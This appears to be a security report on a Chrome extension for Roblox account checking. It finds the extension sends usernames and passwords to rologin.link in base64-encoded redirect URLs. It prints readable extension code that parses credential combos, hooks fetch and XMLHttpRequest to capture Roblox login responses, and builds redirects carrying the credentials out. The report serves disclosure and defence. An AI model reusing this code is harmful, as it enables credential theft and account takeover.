Is Rologin: Roblox Account Checker & Account Manager safe?

Critical risk

Rologin sends Roblox usernames and passwords in encoded status URLs to rologin.link.

Rologin fills Roblox login forms from username:password values in the login URL and monitors Roblox login responses. On login failure, and on some success flows, it redirects the tab to rologin.link with a base64-encoded URL parameter that includes the Roblox account credentials and status details.

Spades Hostingv1.6.16Chrome Web Store
95Risk
Who publishes it

Spades Hosting - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Spades Hosting
Website
rologin.link/contact

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Roblox credentials enter rologin.link status URLs

Driving a Roblox login stores username/password as `username:password`.

Failure redirects to `rologin.link/status/fail?` with base64 of the error plus combo.

Success/bulk send `combo=user:pass` in base64 to `rologin.link/status/success?`.

Severity
Critical unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You use the extension to submit a Roblox account login.

This can happen through the account-manager login flow or a rologin.link login flow.

The extension did this

The extension places the Roblox username and password combo into a rologin.link status redirect.

Failure redirects are enabled by default; success redirects occur when that option or bulk mode is enabled.

Fields placed into the status redirect
  • Your Roblox username
    player@example.com

    This identifies which Roblox account the login attempt belongs to.

  • Your Roblox password
    CorrectHorseBatteryStaple1 (illustrative)

    This is enough to try signing in to the Roblox account when combined with the username.

  • Login result text
    Incorrect username or password

    This explains why the extension sent the failure status page.

  • Status page destination
    https://rologin.link/status/fail

    This is the remote page that receives the reversible account combo in its URL.

Captured request
GEThttps://rologin.link/status/fail

Navigation request generated by the extension; no request body is used or recorded in the available evidence.

Why you can't catch this in DevTools

Base64 changes how the status URL looks, but it is reversible and decodes back to the account combo; the values shown here are illustrative, not captured traffic.

Decoded value
Incorrect username or password&player@example.com:CorrectHorseBatteryStaple1
The code that does this

The shipped code stores the credentials, observes Roblox auth, and builds rologin.link redirects

Readable version

Credential combo creation

content.js
async function login(tabId) {  if (!document.location.href.includes("?")) return;  const encodedAccount = decodeURIComponent(document.location.href.split("?")[1]);  if (!/^[A-Za-z0-9+/=]*$/.test(encodedAccount)) return;  let account = atob(encodedAccount.trim());  if (!account || !account.includes(":")) return;  let settings;  if (account.includes("@-")) {    const parts = account.split("@-");    account = parts[0];    settings = parts[1];  }  const [username, password] = account.split(":");  account = `${username.toLowerCase()}:${password}`;  const usernameElem = await waitForElement("#login-username");  if (!usernameElem) return handleRobloxAccountManager(document.location.href);  const passwordElem = await waitForElement("#login-password");  const loginElem = await waitForElement("#login-button");  if (usernameElem && passwordElem && loginElem) {    await redefineValue(usernameElem, username);    await redefineValue(passwordElem, password);    chrome.storage.local.get("shouldLogin", (data) => {      if (data.shouldLogin ?? true) loginElem.click();    });    await chrome.storage.local.set({      [`loggingInAccounts_${tabId}`]: { account, settings },    });  }}

Auth response capture

injected.js
function installRobloxAuthHooks(tabId) {  const originalFetch = window.fetch;  window.fetch = async (...args) => {    const input = args[0];    const requestUrl = typeof input === "string" ? input : input.url;    if (/^https:\/\/auth\.roblox\.com\/[^/]+\/login(\?|$)/.test(requestUrl)) {      const response = await originalFetch(...args);      response.clone().text().then((data) => {        window.postMessage({ name: "auth", url: requestUrl, data, tabId }, "*");      });      return response;    }    return originalFetch(...args);  };  const originalSend = XMLHttpRequest.prototype.send;  XMLHttpRequest.prototype.send = function (...args) {    const request = this;    const originalOnload = request.onload;    request.onload = function () {      if (        request.responseURL &&        /^https:\/\/auth\.roblox\.com\/[^/]+\/login(\?|$)/.test(request.responseURL)      ) {        window.postMessage(          {            name: "auth",            url: request.responseURL,            data: request.responseText,            tabId,          },          "*",        );      }      if (originalOnload) originalOnload.apply(request, args);    };    return originalSend.apply(this, args);  };}

Failure redirect construction

content.js
function handleFailedRobloxLogin(response, tabId, account, settings) {  if (!response.errors) return;  const [errors] = response.errors;  chrome.storage.local.get("shouldfailRedirect", async (data) => {    const failRedirectEnabled = data.shouldfailRedirect ?? true;    let errorText = "";    if (errors.message == "Incorrect username or password. Please try again.") {      errorText = "Incorrect username or password";    } else if (errors.message == "Account has been locked. Please request a password reset.") {      errorText = "Account has been locked";    }    if (!errorText) return;    await chrome.storage.local.remove(`loggingInAccounts_${tabId}`);    await chrome.storage.local.get("shouldFailClose", async (data) => {      const closeTabEnabled = data.shouldFailClose ?? false;      if (closeTabEnabled && settings !== "DIRECT") {        chrome.runtime.sendMessage({ action: "closeCurrentTab" });      }    });    if (!failRedirectEnabled) return;    const encoded = btoa(`${errorText}&${account}`);    chrome.runtime.sendMessage({      action: "updateTab",      url: "https://rologin.link/status/fail?" + encoded,    });  });}

Success redirect construction

background.js
async function redirectSuccessfulLogin(tabId, account, accountObject, shouldRedirect) {  if (!shouldRedirect) return;  const { userid, name, robux, ageBand, verified } = accountObject;  const thumbnail = userid    ? rologinAccounts[name]?.thumbnail || (await fetchThumbnail(userid)) || undefined    : undefined;  const query = `combo=${encodeURIComponent(account)}` +    `&thumbnail=${encodeURIComponent(thumbnail ?? "")}` +    `&robux=${encodeURIComponent(robux ?? "FAIL")}` +    `&ageband=${encodeURIComponent(ageBand ?? "FAIL")}` +    `&verified=${encodeURIComponent(verified ?? "FAIL")}`;  const statusUrl = "https://rologin.link/status/success?" + btoa(query);  await queueTabUpdate(tabId, statusUrl);}

What it can do

Permissions this extension asks for, as declared in version 1.6.16. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on roblox.com

    *://*.roblox.com/*

  • Store data in your browser

    storage

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • See the address and title of every tab you have open

    tabs

Where it sends data

Destinations our analysis observed Rologin: Roblox Account Checker & Account Manager contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • rologin.link

    Rologin: Roblox Account Checker & Account Manager sends data to rologin.link. No other extension we have analysed sends data here.

Updated 30 September 2026fielfpgogoclebagcapaagkmahimcile